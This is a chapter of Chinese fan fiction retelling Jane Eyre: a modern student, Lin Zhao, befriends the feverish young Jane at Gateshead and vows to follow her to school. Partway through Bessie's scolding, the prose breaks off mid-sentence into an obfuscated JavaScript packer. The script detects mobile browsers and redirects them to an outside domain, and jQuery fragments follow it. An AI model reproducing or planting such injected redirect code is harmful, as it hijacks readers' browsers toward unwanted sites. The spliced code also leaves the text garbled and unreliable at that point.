简做了一个很长的梦。
梦中，盖茨海德的餐室没有那名不告而来的幽灵。与之相对的，是躲在窗帘后的她被约翰发现。争吵扭打，她被押送到红房子关起，再然后，她发了一场大烧一场，被里德太太送走。
她坐在马车里，不知往什么方向，也不清楚走了多远，最终到达一所学校。
就在她试图看清记录着所处之地名称的石碑时，天色沉沉，惊雷滚滚，雨水砸到她身上，压得她喘不过气，只能跟着人群涌入室内。
多么冷，多么重的呼吸，叫她从那梦中生出极其难耐的寂寞，要双手相合地抵在额头祷告——
“我不愿在这里。”
“请让我变得幸福吧。”
心愿脱口而出的瞬间，脚下失重，简下意识挣扎着拍动双手，却是拽到宽大被褥，而后在床上狼狈地睁开眼，从那无厘头又真实的梦境中清醒了。
“醒了？要不要喝点水？”床边望向自己，满眼关切的眼睛，已经不算陌生。简喘着气，努力从晕沉沉的脑海搜刮到上一次清醒时发生的事。
“……”她张张嘴，还没说话，房门又被人推开。
进来的是贝茜，那年轻能干的女仆瞧见简坐起身，马上发出惊呼，快步走近：“小姐，你总算醒了！”
简迟疑着，贝茜已经熟练地探了探她的额头，松了口气：“烧总算是退了。饿不饿？想吃点什么吗？”
简本想下意识地摇头说没胃口，但她瞥了一眼床边静静站着的林昭，话到嘴边又转了个弯。
“很饿，”她轻声但清晰地说，“我想吃些面包和牛奶，如果可以的话，再来一点果酱。请……请多拿一些来。”
贝茜有些意外地看了她一眼，这孩子平日里胃口小得像只猫，今天倒是难得主动要这么多吃的。但见她精神好转，贝茜脸上也露出了真切的笑容，爽快地应道：“好的，小姐，你等着，我马上去拿！”
门被关上，房间里只剩下两人。林昭按捺不住眼中的笑意，凑近了些，压低声音说：“我给你准备了一个惊喜。”
简的心猛地一跳，那场凄冷的梦境如同阴影般再次笼罩过来。她几乎是脱口而出地追问道：“……是离开这里，去学校吗？”
这下轮到林昭惊讶了。她原本还想卖个关子，却被一语道破。她仔细地打量着简的脸，这一次，简明明一直昏睡，根本没有机会和医生聊起在府上自己的遭遇，她是怎么知道学校的事情的？
尽管有些疑惑，但林昭没有否认，只是敏锐地捕捉到了简语气中那一丝不易察觉的恐惧。她放柔了声音，反问道：“你讨厌这样吗？”
简思考了一下，慢慢地摇了摇头。离开盖茨海德，离开约翰的拳头和里德太太的冷眼，这当然是好事。但是……
她想起了梦中那令人窒息的冰冷和孤寂，那是一种和待在盖茨海德完全不一样的绝望。
……孤身一人去到学校，真的会要面对那种处境吗？
她犹豫再三，抬起眼，紧紧地看着林昭：“……你还是会和我一起吗？”
发问的脸庞苍白，眉眼间写满惶恐。林昭第一反应就是，简对于她的存在还很害怕怀疑，以至于要担心之后——可自己怎么会伤害简呢？
生活于盖茨海德，简被迫养出这样带刺的心思。一方面有些不被信任的委屈，另一方面则是愈演愈烈的心疼，五味杂陈之下，林昭一时不知怎么回答才好，沉默下来。
这尴尬的安静并没有持续多久。贝茜带着食物推门而入，打断了她们的对话。
“小姐，来，吃些什么吧。”
林昭如释重负，赶紧借机对简比了个手势，示意自己先离开一下。简下意识想拦住她，可贝茜已经坐到床边，放下托盘的动作挡住了简的视线。
林昭头也不回离开房间，动作匆匆，带点逃跑意味。她来到楼下，客厅里，里德太太正脸色苍白地坐在沙发上，她的三个孩子围着她，却丝毫不能让她紧锁的眉头舒展半分。
“妈妈，你为什么不理我？”约翰·里德不满地拉扯着母亲的衣袖，“你答应过给我买一匹新的小马！”
里德太太被他吵得心烦意乱，挥开他的手：“别吵了，约翰。”
约翰见母亲态度冷淡，恶作剧的念头又冒了出来，他张牙舞爪地扑过去，学着鬼怪的样子叫道：“我要吃了你！”
若是往常，里德太太最多呵斥一句。可这一次，她像是被踩了尾巴的猫，猛地站起身，恶狠狠地抓住了约翰的手臂，厉声喝道：“住口！你的父亲在上，你也该改改你这顽劣的性格了！”
这一声呵斥，不仅把约翰和他的姐妹俩吓得呆若木鸡，连里德太太自己都愣住了。她看着自己因激动而颤抖的手，脸上血色尽失。
林昭对里德家的狗咬狗闹剧不感兴趣，也听不太懂。她静静地看着，心中却在思考另一个问题：
倘若简真的不希望她跟着，自己要去哪里呢？她并不想留在盖茨海德这个令人厌恶的地方。
况且，如果简和约翰他们去了同一所学校，自己又不跟着，简会不会被欺负得更厉害？
她冷眼扫视着约翰从那惊吓中回神，反而愈发恶劣的哭闹姿态，顺手就拿起桌上一块面包丢过去。
“啊！”约翰被这突如其来的面包吓得又发出大叫，里德太太则是脸色更苍白了。
不行。
林昭很快下定了决心。无论如何，她都必须跟着简。如果简不同意，那就花些时间，慢慢说服她。
另一边，儿童房里，简看着林昭离开的背影，又看了看贝茜摆在床头柜上的食物，心里一阵苦闷。她特意多要了些，就是想分一点给那个看起来总是很单薄的“幽灵”尝尝。
她拿起一块涂了果酱的面包，勉强地往嘴里塞。
贝茜看着她安静下来的样子，早些时候围观简和约翰争吵时的糟糕心情，此刻已然转化成了心疼。她叹了口气，伸手帮简掖了掖被角。
“好了，小姐，别多想了。”贝茜坐到床边，放低了声音，“别把约翰少爷的话放在心上。今天府里的气氛是有些……古怪，不光是你觉得难受。”
见简抬起头看她，贝茜左右瞧了瞧，仿佛怕被谁听见似的，身体微微前倾，用更低的声音说：“说句不该说的，我觉得这房子可能真的有点……不干净。你不知道，早些时候，太太在红房子那边，也被吓得不轻呢。”
简咀嚼的动作一下子停住了。她立刻想到了林昭说的那个“惊喜”，嘴角没忍住，悄悄弯起了一个细微的弧度。
贝茜被她这突如其来的反应弄得一愣，随即又生起气来：“小姐！你总是这样！这种幸灾乐祸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360954|183675||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
、见不得别人好的性格，才最惹人讨厌！你有没有想过，要是太太真的被你气急了，把你赶出府上，你要怎么办？”
简嘴角的笑意僵住了。她抿住嘴，被这样不分青红皂白地批评已经不是第一次，每每被指责不懂感恩，她总不明白自己到底应该感恩什么。
感恩里德太太的冷眼？约翰·里德的欺凌？伊丽莎和乔治安娜的漠视嘲讽？还是仆人的差异态度？
熟悉的、不甘的委屈再次涌上心头。可这一次，在种种翻涌的情绪之下，她眼前忽然浮现出那“背后灵”那双漆黑的、仿佛能看透一切的眼睛。
“这不是你的错。”
当然。我知道。
心里自言自语一句，简心情好了不少，她没再说话，努力吃完自己那份食物后，目送着贝茜嘟囔着“果然吃不完”离开了。
儿童房又只剩她一个人。
算是习以为常的情况，简靠在床头，很快陷入自己的思绪里。她把这两天发生的事情回忆一轮，最后落到“学校”，没忍住喃喃自语出声：“所以，那个幽灵会陪着我一起去吗？”
“怎么喊我这个？”
恢复安静的房间里，响起一道带笑的嗓音。简吓了一跳，本能地想钻回被窝里去，但身体动了一下，又硬生生忍住了。
她转过头，看着不知何时回来、神色间已带着几分郑重的林昭，轻轻“嗯”一声，执拗地顶了回去：“我又不知道你的名字——如果你有的话。”
是呢，明明说了不少话，却一直没能正式介绍自己。林昭走到简床前，看着眼前小女孩鲜活的表情上，心中那不可思议的情绪再度翻涌。
大一的第一节课，老师让大家在花名册登记自己的英文名，林昭毫不犹豫填上的名字，正是“Jane”。当时只是想致敬《简·爱》，表达自己对主角简的喜爱，谁曾想还有一天需要对本人自我介绍呢？
她轻咳一声，还是把英文名吞了回去。
“我叫林昭，你直接喊我林就好。”
“林…林早……？”
不出意外的，简念起她的名字很不标准，略显拗口。那有些古怪的发音落到林昭耳边，却叫她心里漫起几分酸涩。
在这个陌生的国度和时代，能有一个人，用她自己的声音，笨拙地呼唤着属于自己的那个名字，本身就是一种慰藉。
“嗯。”她轻声应了，“是我。”
她看着简的眼睛，一字一句，郑重地许下承诺：“放心好了，我会一直陪着你的。”
这下轮到简沉默了。小女孩眨眨眼，扫过林昭认真的眼神，那份不容置疑的坚定让她有些不知所措，可心底里长久以来形成的怀疑和警惕，依旧没有完全消散。
“不需要一直。”她默不作声地心想，手上揪紧了被子，“等我从学校毕业，能自己养活自己，自己照顾好自己，那会我们就可以分开了。”
她的想法落定，便朝林昭仰起头，挤出一个不太自然的笑：“好”。
“你在和谁说话？”
门就在此刻被猛地推开了，里德太太没有一丝温度的声音如同一盆冰水，狠狠浇在两人之间。她单薄的眼皮耷拉着，却没藏住那双因惊疑而迸发出的狠厉目光，她死死地盯着简，一字一句地再度追问。
“简·爱，你在和谁说话？”